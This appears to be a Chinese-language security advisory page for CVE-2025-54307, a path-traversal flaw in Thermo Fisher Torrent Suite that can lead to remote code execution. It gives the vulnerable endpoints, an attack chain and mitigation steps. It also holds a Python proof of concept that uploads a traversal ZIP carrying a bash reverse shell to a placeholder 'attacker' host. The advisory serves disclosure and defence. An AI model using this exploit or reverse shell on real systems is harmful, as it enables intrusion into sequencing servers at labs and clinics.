IPBUF安全漏洞报告
English
CVE-2025-54307 CVSS 8.8 高危

CVE-2025-54307 Thermo Fisher Torrent Suite 路径遍历导致RCE

披露日期: 2025-12-04

漏洞信息

漏洞编号
CVE-2025-54307
漏洞类型
路径遍历/远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Thermo Fisher Torrent Suite Django application 5.18.1

相关标签

CVE-2025-54307路径遍历远程代码执行文件上传漏洞Thermo FisherTorrent Suite高危漏洞Django应用

漏洞概述

CVE-2025-54307是Thermo Fisher Torrent Suite软件中的一个高危安全漏洞,CVSS评分8.8。该漏洞存在于Django应用的多个上传端点中,由于对用户上传的文件名和路径参数缺乏充分的输入验证,导致攻击者可以利用路径遍历技术将恶意文件写入服务器任意位置。低权限认证用户即可利用此漏洞,通过构造特殊的ZIP压缩包和文件名,实现任意文件写入,最终可能通过覆盖系统可执行文件(如pdflatex)实现远程代码执行。此漏洞对使用该软件进行基因测序数据分析的医疗机构和研究实验室构成严重安全威胁。

技术细节

漏洞根源在于plupload_file_upload函数处理文件上传时的路径构造逻辑。该函数使用用户可控的name参数或原始文件名来构建目标文件路径,但未对路径中的特殊字符(如../)进行清理或验证。两个受影响的上传端点分别是:/configure/plugins/plugin/upload/zip/ 和 /configure/newupdates/offline/bundle/upload/。攻击者可以创建包含路径遍历序列的ZIP文件,上传时通过修改Content-Disposition头中的filename参数指定目标路径(如../../../../tmp/malicious),从而将文件写入服务器任意位置。成功利用后可覆盖pdflatex等可执行文件,由于该程序通过subprocess.Popen在/report/latex/(\d+).pdf请求处理中被调用,攻击者可实现稳定的远程代码执行。

攻击链分析

STEP 1
步骤1
攻击者使用低权限账号登录Thermo Fisher Torrent Suite系统
STEP 2
步骤2
创建包含路径遍历文件名的恶意ZIP压缩包(如../../../../tmp/malicious)
STEP 3
步骤3
通过漏洞端点/upload/zip/或/offline/bundle/upload/上传恶意ZIP文件
STEP 4
步骤4
服务器解压时未验证路径,将文件写入任意位置(如覆盖pdflatex可执行文件)
STEP 5
步骤5
触发/report/latex/(\d+).pdf端点,利用被篡改的pdflatex执行恶意代码
STEP 6
步骤6
攻击者获得服务器远程代码执行权限,实现完全入侵

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-54307 PoC - Thermo Fisher Torrent Suite Path Traversal RCE Note: For authorized security testing only """ import zipfile import io import requests from requests.auth import HTTPBasicAuth TARGET = "https://target-server.com" USERNAME = "low_privilege_user" PASSWORD = "user_password" # Create malicious ZIP with path traversal payload malicious_file = b'#!/bin/bash\n/bin/bash -i >& /dev/tcp/attacker/4444 0>&1' zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf: # Path traversal to write to arbitrary location traversal_name = "../../../../tmp/rev_shell.sh" zf.writestr(traversal_name, malicious_file) zip_buffer.seek(0) # Upload via vulnerable endpoint upload_url = f"{TARGET}/configure/plugins/plugin/upload/zip/" files = {'file': ('exploit.zip', zip_buffer, 'application/zip')} data = {'name': '../../../../tmp/rev_shell.sh'} try: response = requests.post( upload_url, files=files, data=data, auth=HTTPBasicAuth(USERNAME, PASSWORD), verify=False, timeout=30 ) print(f"Upload Status: {response.status_code}") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}")

影响范围

Thermo Fisher Torrent Suite Django application 5.18.1

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时措施:1) 临时禁用受影响的文件上传端点;2) 加强对上传文件类型和大小的限制;3) 监控异常的文件上传行为和可疑的路径遍历尝试;4) 对上传目录实施严格的访问控制;5) 考虑使用WAF规则阻止包含../序列的请求;6) 隔离Torrent Suite网络区域,限制横向移动风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表